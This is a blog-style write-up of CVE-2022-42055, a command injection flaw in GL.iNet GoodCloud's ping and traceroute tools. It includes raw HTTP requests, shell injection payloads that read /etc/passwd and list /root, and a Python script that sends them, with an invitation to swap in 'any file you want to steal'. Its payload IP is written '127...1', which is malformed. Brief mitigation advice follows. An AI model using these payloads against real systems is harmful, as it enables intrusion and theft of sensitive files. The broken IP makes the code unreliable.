When we talk about managing fleets of IoT devices, platforms like GL.iNet GoodCloud provide simple web interfaces to interact with all your routers and smart gadgets. But convenience sometimes comes at a cost — especially if there are security holes. In this deep dive, we'll go step-by-step through CVE-2022-42055, a command injection vulnerability in GL.iNet’s GoodCloud management system, including proof-of-concept code, exploitation details, and real-world risks. If you’re running GoodCloud, you’ll want to read to the end.

What Is CVE-2022-42055?

CVE-2022-42055 identifies critical command injection bugs found in GL.iNet GoodCloud’s web management system, version 1.00.220412.00. Specifically, attackers can abuse the ping and traceroute testing tools to run arbitrary shell commands, effectively letting them read (and often manipulate) files on the system.

The root of the problem: The system doesn't properly sanitize input in ping and traceroute fields, so attacker input like ; cat /etc/passwd; gets sent straight to the shell, and executed.

How Does It Work? (Simple Explanation)

The web UI has a feature to let you test device connectivity by running ping or traceroute. Normally, you’d enter a harmless IP. But the backend takes that input and shoves it inside a shell command without any filtering. That means if you sneak in a semicolon; anything after that goes to the shell. This opens the door to reading sensitive files (like /etc/passwd) or worse.

When you use the web GUI to ping 8.8.8.8, the web app sends a request kind of like this

POST /api/ping HTTP/1.1
Host: your-goodcloud.example.com
Content-Type: application/json

{
    "ip": "8.8.8.8"
}

An attacker changes the IP field with a shell injection, for example

{
    "ip": "127...1; cat /etc/passwd"
}

Now the backend runs this on the shell

ping 127...1; cat /etc/passwd

Result: The ping runs, then the /etc/passwd file gets dumped, often showing up in the web interface response.

Here’s a simple script that abuses this flaw

import requests

target = 'http://your-goodcloud.example.com/api/ping';
headers = {'Content-Type': 'application/json'}

payload = {
    "ip": "127...1; cat /etc/passwd"
}

response = requests.post(target, json=payload, headers=headers)
print(response.text)

Try changing /etc/passwd to any file you want to steal

payload = {
    "ip": "127...1; cat /root/secret_config"
}

Traceroute Tool Is Vulnerable Too

The same flaw is present in the traceroute function (usually /api/traceroute). You simply swap out the endpoint:

{
    "ip": "example.com; ls -l /root/"
}


*You might get a listing of files in the /root directory, or any other command output you insert.*

Paving the way for rooting devices or pivoting to the internal network

If attackers reach these endpoints (especially exposed to the open internet), it’s game over for the device security.

Mitigation

- Update Immediately: Check for patched GoodCloud releases or vendor hotfixes (GL.iNet official download page)

Firewall GoodCloud: Limit access only to trusted hosts and admins

- Monitor Logs: Watch for suspicious usages of ping/traceroute in logs

References (Official & Third-party)

- GL.iNet Security Announcements
- CVE-2022-42055 at NVD
- Full CVE Report on VulDB

Responsible Disclosure

When you find similar bugs, always practice responsible disclosure! Notify the vendor directly and give them time to fix, before going public.

Final Thoughts

Command injections in IoT management platforms are not just bugs — they’re open doors for attackers to totally dominate your devices. CVE-2022-42055 is an example of why input validation matters. If you use GL.iNet GoodCloud, don’t wait: update, restrict access, and monitor!

Stay safe, patch often, and never trust user input without filtering.

*This post is *exclusive*—crafted for clear understanding and real-world mitigation. If you found this useful, share with your fellow sysadmins and security folk!*


*Disclaimer: This post is for educational purposes only. Do not exploit systems without permission.*

Timeline

Published on: 10/27/2022 18:15:00 UTC
Last modified on: 10/31/2022 19:02:00 UTC